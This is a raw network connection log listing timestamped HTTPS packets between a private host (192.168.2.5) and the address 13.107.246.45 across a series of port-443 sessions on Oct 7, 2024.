Oct 7, 2024 06:44:31.723819971 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.725980043 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.726015091 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.726077080 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.726203918 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.726218939 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.732161999 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.732440948 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.732507944 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.732534885 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.732551098 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.732610941 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.732615948 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.734682083 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.734710932 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:31.734781027 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.734910965 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:31.734926939 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.032212973 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.032255888 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.309362888 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.310523033 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.310533047 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.310878992 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.310883045 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.350632906 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.351164103 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.351191998 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.351655006 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.351660013 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.357630968 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.357965946 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.357980013 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.358349085 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.358352900 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.374257088 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.374670982 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.374680996 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.375165939 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.375169992 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.407123089 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.407280922 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.407371998 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.407659054 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.407659054 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.407670975 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.407679081 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.410192966 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.410235882 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.410305023 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.410484076 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.410495996 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.451946974 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.452135086 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.452194929 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.452260971 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.452276945 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.452287912 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.452292919 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.454879045 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.454906940 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.454987049 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.455116987 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.455133915 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.457475901 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.457617044 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.457674026 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.457701921 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.457706928 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.457716942 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.457720041 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.459722042 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.459733009 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.459795952 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.459935904 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.459949017 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.474081039 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.474415064 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.474481106 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.474684000 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.474684000 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.474692106 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.474699974 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.476636887 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.476687908 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:32.476761103 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.476872921 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:32.476885080 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.044369936 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.045248985 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.045264959 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.045754910 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.045758963 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.097383022 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.097876072 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.097891092 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.098299026 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.098301888 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.103158951 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.103692055 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.103702068 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.104132891 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.104135990 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.142177105 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.142421961 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.142476082 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.142517090 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.142539024 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.142549992 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.142555952 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.146084070 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.146137953 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.146224976 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.146500111 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.146512985 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.149184942 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.149542093 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.149550915 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.150140047 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.150142908 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.199731112 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.200072050 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.200130939 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.200331926 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.200341940 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.204291105 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.204402924 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.204447985 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.204459906 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.204476118 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.204530001 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.204613924 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.204647064 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.204703093 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.205002069 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.205009937 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.205022097 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.205029011 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.205390930 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.205400944 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.207925081 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.207940102 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.207994938 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.208139896 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.208152056 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.253726959 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.253763914 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.253804922 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.253807068 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.253846884 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.255678892 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.255697012 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.255707979 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.255712986 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.260266066 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.260363102 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.260427952 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.260560036 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.260586977 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.807176113 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.807708979 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.807730913 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.808182001 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.808187962 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.838072062 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.838565111 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.838581085 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.838975906 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.838980913 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.853643894 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.854029894 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.854038954 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.854453087 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.854456902 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.896991014 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.897496939 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.897526979 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.897969007 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.897974968 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.909881115 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.909969091 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.910027027 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.910207033 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.910231113 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.910243034 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.910249949 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.912857056 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.912887096 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.912964106 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.913090944 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.913100958 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.937004089 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.937103033 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.937179089 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.937309980 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.937324047 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.937335014 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.937340021 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.939904928 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.939923048 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.939997911 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.940130949 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.940140009 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.954129934 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.954252005 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.954298973 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.954560041 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.954571962 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.954582930 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.954587936 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.957132101 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.957146883 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.957226992 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.957333088 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.957341909 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.996436119 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.996475935 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.996519089 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.996658087 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.996933937 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.996948004 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.996962070 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.996968031 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.999564886 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.999584913 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:33.999665022 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.999792099 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:33.999802113 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.551659107 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.552382946 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.552417994 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.552741051 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.552747965 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.586528063 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.586998940 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.587012053 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.587446928 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.587451935 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.590276957 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.590753078 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.590760946 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.591140032 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.591145039 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.650897026 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.651066065 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.651187897 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.651330948 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.651331902 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.651403904 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.651432991 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.654196024 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.654437065 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.654495001 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.654572010 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.654630899 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.654674053 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.654690027 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.654707909 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.655062914 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.655075073 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.687495947 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.687694073 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.687791109 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.688026905 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.688040972 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.688051939 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.688057899 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.689078093 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.689145088 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.689198971 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.689344883 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.689348936 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.689363956 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.689368963 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.692334890 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.692334890 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.692384958 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.692399025 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.692490101 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.692694902 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.692694902 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.692694902 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.692723036 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.692743063 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.754571915 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.754650116 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.754796982 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.754818916 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.754884958 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.755412102 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.755412102 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.755461931 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.755491018 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.758130074 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.758168936 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:34.758238077 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.758369923 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:34.758380890 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.319288015 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.328727007 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.328757048 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.334372997 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.354700089 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.354715109 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.355115891 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.355158091 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.355490923 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.355498075 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.370507002 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.372390985 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.372405052 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.379453897 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.379462957 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.392364025 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.397742033 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.397759914 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.404576063 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.404583931 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.451889992 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.451965094 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.452055931 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.453732967 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.453752041 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.453787088 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.453795910 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.454955101 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.455024004 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.455070019 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.472023964 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.472059011 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.472090960 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.472098112 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.481656075 CEST	443	49830	13.107.246.45	192.168.2.5
